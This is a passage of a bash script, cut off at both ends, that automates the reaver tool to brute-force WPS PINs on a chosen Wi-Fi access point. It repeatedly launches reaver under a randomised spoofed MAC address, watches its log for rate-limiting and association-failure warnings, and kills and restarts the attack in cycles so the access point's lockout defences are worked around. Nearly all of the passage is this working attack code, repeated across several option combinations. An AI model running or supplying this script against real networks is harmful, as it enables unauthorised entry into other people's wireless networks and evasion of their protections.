echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL21"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP21"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE21 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME21-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL21 -b $TARGETAP21 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME21-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE21-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R21 == y || $USE_R21 == Y ]] && [[ $USE_LONG21 == y || $USE_LONG21 == Y ]] && [[ $USE_PIN21 == n || $USE_PIN21 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME21"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL21"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP21"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX21" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY21"
echo -e "$info Reaver live time                   = $yel$LIVE21 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME21-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL21 -b $TARGETAP21 -r $RX21:$RY21 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME21-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE21-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R21 == n || $USE_R21 == N ]] && [[ $USE_LONG21 == n || $USE_LONG21 == N ]] && [[ $USE_PIN21 == y || $USE_PIN21 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME21"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL21"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP21"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE21 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME21-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL21 -b $TARGETAP21 -vv -x 60  --pin=$WPS_PIN21 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME21-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE21-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R21 == y || $USE_R21 == Y ]] && [[ $USE_LONG21 == n || $USE_LONG21 == N ]] && [[ $USE_PIN21 == y || $USE_PIN21 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME21"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL21"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP21"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX21" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY21"
echo -e "$info Reaver live time                   = $yel$LIVE21 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME21-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL21 -b $TARGETAP21 -vv -x 60 -r $RX21:$RY21 --pin=$WPS_PIN21 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME21-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE21-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R21 == n || $USE_R21 == N ]] && [[ $USE_LONG21 == y || $USE_LONG21 == Y ]] && [[ $USE_PIN21 == y || $USE_PIN21 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME21"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL21"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP21"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE21 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME21-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL21 -b $TARGETAP21 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN21 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME21-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE21-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

